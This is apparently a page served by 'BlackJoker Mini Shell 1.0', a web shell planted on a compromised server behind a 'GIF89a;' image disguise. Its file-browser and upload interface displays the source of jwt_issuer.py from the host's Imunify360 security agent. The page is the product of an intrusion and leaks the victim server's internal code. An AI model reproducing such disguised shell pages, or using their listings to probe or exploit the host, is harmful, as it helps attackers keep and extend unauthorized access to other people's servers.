GIF89a; Mini Shell

Mini Shell

Direktori : /opt/imunify360/venv/lib/python3.11/site-packages/defence360agent/api/
Upload File :
Current File : //opt/imunify360/venv/lib/python3.11/site-packages/defence360agent/api/jwt_issuer.py

import random
import string
from datetime import datetime, timedelta
from defence360agent.subsys.panels.base import InvalidTokenException
from defence360agent.contracts.config import UIRole, UserType


UIRoleToUserType = {
    UIRole.ADMIN: UserType.ROOT,
    UIRole.CLIENT: UserType.NON_ROOT,
}

JWT_SECRET = "".join(
    random.choice(string.ascii_uppercase + string.digits) for _ in range(64)
)
TOKEN_EXPIRATION_TTL = timedelta(hours=1)


class JWTIssuer:
    @classmethod
    def get_token(cls, user_name: str, user_type: UIRole) -> str:
        """
        Generates a token with several encoded fields:
            user name,
            user type,
            expiration timestamp
        """

        import jwt

        return jwt.encode(
            {
                "user_type": user_type,
                "username": user_name,
                "exp": (datetime.now() + TOKEN_EXPIRATION_TTL).timestamp(),
            },
            JWT_SECRET,
        )

    @classmethod
    def parse_token(cls, token: str):
        import jwt

        # if handle these exceptions at global level,
        # jwt shoud be imported there,
        # increasing memory consumation
        try:
            decoded = jwt.decode(token, JWT_SECRET, algorithms=["HS256"])
        except jwt.PyJWTError:
            raise InvalidTokenException("INVALID_TOKEN")

        return {
            "user_name": decoded["username"],
            "user_type": UIRoleToUserType[decoded["user_type"]],
        }

./BlackJoker Mini Shell 1.0